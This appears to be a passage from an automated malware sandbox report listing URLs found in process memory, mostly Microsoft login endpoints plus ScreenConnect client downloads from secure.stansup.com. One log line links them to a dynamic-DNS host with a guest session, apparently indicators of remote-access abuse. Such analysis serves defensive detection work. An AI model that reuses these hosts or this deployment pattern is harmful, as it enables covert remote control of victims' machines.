Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srferpriseDe
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601rover
Source: svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603nUp
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfteService
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLo
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806003
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603ogin.live.c
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604login.live.
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604roveSession
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=8060506
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=8060608
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607cfg:GetAppD
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384073807.000001E11B957000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608/cfg:CXHSig
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=H
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383811069.000001E11B95A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cpificates
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605(
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfrf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605455938.000001E11B02F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfws
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000008.00000002.2606537340.000001E11BE4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605859392.000001E11B0C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/MSARS
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/MSARSEnte
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000008.00000003.1383787727.000001E11B910000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsuer
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf(
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383787727.000001E11B910000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383787727.000001E11B910000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000008.00000003.1383787727.000001E11B910000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.staP
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0489000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000156D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Cli
Source: Qjq85KfhBC.exe, 00000000.00000002.1445501228.000000000109C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicat
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD051A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754297358.000000000328F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.00000000015F0000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754297358.0000000003281000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application#
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD051A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.a
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD051A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.apdr
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1753827048.00000000017E4000.00000004.00000020.00020000.00000000.sdmp, 3Q2U6NXT.log.1.dr String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.applicat
Source: dfsvc.exe, 00000001.00000002.2238360883.0000021CE8AA7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1756206206.000000001BC30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application%
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.00000000015F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application(
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application.
Source: dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application89G
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application89O
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application9
Source: 3Q2U6NXT.log.1.dr String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=kjh231a.zapto.or
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754297358.000000000328F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationX
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationXZ4
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationZ4
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationfts
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationg
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.000000000163C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationng
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationp
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.applicationtm
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.dll
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754297358.000000000328F000.00000004.00000800.00020000.00000000.sdmp, 3Q2U6NXT.log.1.dr String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD041A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.ClientService.dllY
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.ClientService.exeo
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Windo
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.Windows.dllL
Source: dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config0
Source: dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exe.configC
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exe:U
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exebT
